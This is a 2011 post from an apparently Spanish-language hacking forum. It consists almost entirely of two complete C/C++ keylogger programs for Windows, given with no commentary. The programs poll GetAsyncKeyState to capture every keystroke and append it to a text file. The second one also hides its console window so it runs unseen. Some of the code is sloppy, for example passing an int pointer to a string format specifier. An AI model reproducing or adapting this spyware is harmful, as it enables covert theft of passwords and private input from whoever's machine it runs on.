send
Grupo de Telegram
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Keyloggers C++

  • 0 Respuestas
  • 1660 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado ANTRAX

  • *
  • Administrator
  • Mensajes: 5267
  • Actividad:
    48.33%
  • Reputación 26
  • ANTRAX
    • Ver Perfil
    • Underc0de
    • Email
  • Skype: underc0de.org
  • Twitter: @Underc0de
« en: Mayo 22, 2011, 09:55:10 pm »
Código: C++
  1. 001     #include <stdio.h>
  2. 002     #include <windows.h>
  3. 003     #include <Winuser.h>
  4. 004      
  5. 005      
  6. 006     void keys(int key,char *file)
  7. 007     {
  8. 008      
  9. 009     FILE *key_file;
  10. 010      
  11. 011     key_file = fopen(file,"a+");
  12. 012      
  13. 013      
  14. 014      
  15. 015     if (key==8)
  16. 016      
  17. 017     fprintf(key_file,"%s","[del]");
  18. 018      
  19. 019     if (key==13)
  20. 020      
  21. 021     fprintf(key_file,"%s","\n");
  22. 022      
  23. 023     if (key==32)
  24. 024      
  25. 025     fprintf(key_file,"%s"," ");
  26. 026      
  27. 027     if (key==VK_CAPITAL)
  28. 028      
  29. 029     fprintf(key_file,"%s","[Caps]");
  30. 030      
  31. 031     if (key==VK_TAB)
  32. 032      
  33. 033     fprintf(key_file,"%s","[TAB]");
  34. 034      
  35. 035     if (key ==VK_SHIFT)
  36. 036      
  37. 037     fprintf(key_file,"%s","[SHIFT]");
  38. 038      
  39. 039     if (key ==VK_CONTROL)
  40. 040      
  41. 041     fprintf(key_file,"%s","[CTRL]");
  42. 042      
  43. 043     if (key ==VK_PAUSE)
  44. 044      
  45. 045     fprintf(key_file,"%s","[PAUSE]");
  46. 046      
  47. 047     if (key ==VK_KANA)
  48. 048      
  49. 049     fprintf(key_file,"%s","[Kana]");
  50. 050      
  51. 051     if (key ==VK_ESCAPE)
  52. 052      
  53. 053     fprintf(key_file,"%s","[ESC]");
  54. 054      
  55. 055     if (key ==VK_END)
  56. 056      
  57. 057     fprintf(key_file,"%s","[END]");
  58. 058      
  59. 059     if (key==VK_HOME)
  60. 060      
  61. 061     fprintf(key_file,"%s","[HOME]");
  62. 062      
  63. 063     if (key ==VK_LEFT)
  64. 064      
  65. 065     fprintf(key_file,"%s","[LEFT]");
  66. 066      
  67. 067     if (key ==VK_UP)
  68. 068      
  69. 069     fprintf(key_file,"%s","[UP]");
  70. 070      
  71. 071     if (key ==VK_RIGHT)
  72. 072      
  73. 073     fprintf(key_file,"%s","[RIGHT]");
  74. 074      
  75. 075     if (key ==VK_DOWN)
  76. 076      
  77. 077     fprintf(key_file,"%s","[DOWN]");
  78. 078      
  79. 079     if (key ==VK_SNAPSHOT)
  80. 080      
  81. 081     fprintf(key_file,"%s","[PRINT]");
  82. 082      
  83. 083     if (key ==VK_NUMLOCK)
  84. 084      
  85. 085     fprintf(key_file,"%s","[NUM LOCK]");
  86. 086      
  87. 087     if (key ==190 || key==110)
  88. 088      
  89. 089     fprintf(key_file,"%s",".");
  90. 090      
  91. 091     if (key >=96 && key <= 105){
  92. 092      
  93. 093         key = key - 48;
  94. 094      
  95. 095         fprintf(key_file,"%s",&key);
  96. 096      
  97. 097     }
  98. 098      
  99. 099     if (key >=48 && key <= 59)
  100. 100      
  101. 101     fprintf(key_file,"%s",&key);
  102. 102      
  103. 103      
  104. 104      
  105. 105     if (key !=VK_LBUTTON || key !=VK_RBUTTON){
  106. 106      
  107. 107         if (key >=65 && key <=90){
  108. 108      
  109. 109             if (GetKeyState(VK_CAPITAL))
  110. 110            
  111. 111                 fprintf(key_file,"%s",&key);
  112. 112      else
  113. 113      
  114. 114      {
  115. 115      
  116. 116          key = key +32;
  117. 117      
  118. 118          fprintf(key_file,"%s",&key);
  119. 119      
  120. 120      }
  121. 121     }
  122. 122      
  123. 123     }
  124. 124      
  125. 125     fclose(key_file);
  126. 126      
  127. 127      
  128. 128      
  129. 129      
  130. 130      
  131. 131     }
  132. 132      
  133. 133     int main()
  134. 134     {
  135. 135      
  136. 136      
  137. 137      
  138. 138     char i;
  139. 139      
  140. 140      
  141. 141     char test[MAX_PATH];
  142. 142     GetWindowsDirectory(test,sizeof(test));
  143. 143     strcat(test,"//keys.txt");
  144. 144      
  145. 145     while(1){  
  146. 146      
  147. 147         for(i=8;i<=190;i++){
  148. 148        
  149. 149         if (GetAsyncKeyState(i) == -32767)
  150. 150          
  151. 151         {
  152. 152        
  153. 153            
  154. 154           keys (i,test);
  155. 155            
  156. 156            
  157. 157      
  158. 158         }
  159. 159     }
  160. 160      
  161. 161     }
  162. 162      
  163. 163     }



Código: C++
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <windows.h>
  4.  
  5. #define TRUE               1
  6. #define FALSE              0
  7. #define LINE                 256
  8. #define CARACTERES   256
  9. #define SLEEP              2
  10.  
  11. int main(void)
  12. {
  13.      FILE                    *f;
  14.      int                        i, n = 0;
  15.      int                        line[LINE];    
  16.  
  17.      FreeConsole();
  18.  
  19.      if(! (f = fopen("log.txt","ab+")))
  20.            exit(EXIT_FAILURE);
  21.  
  22.      while(TRUE){
  23.               for(i = 0; i < CARACTERES - 1; i++){
  24.                     if(GetAsyncKeyState(i) == -32767){
  25.                          if( n < LINE - 1){
  26.                              line[n++] = i;
  27.                          }else{
  28.                              line[n] = '\0';
  29.                              fprintf(f,"%s\n",line);
  30.                              n = 0;
  31.                          }
  32.                     }
  33.               }
  34.               sleep(SLEEP);
  35.      }
  36.      fclose(f);    
  37.  
  38.      exit(EXIT_SUCCESS);
  39. }
« Última modificación: Febrero 08, 2014, 05:49:43 pm por Expermicid »


 

¿Te gustó el post? COMPARTILO!



Keyloggers C

Iniciado por ANTRAX

Respuestas: 0
Vistas: 1989
Último mensaje Mayo 22, 2011, 09:53:59 pm
por ANTRAX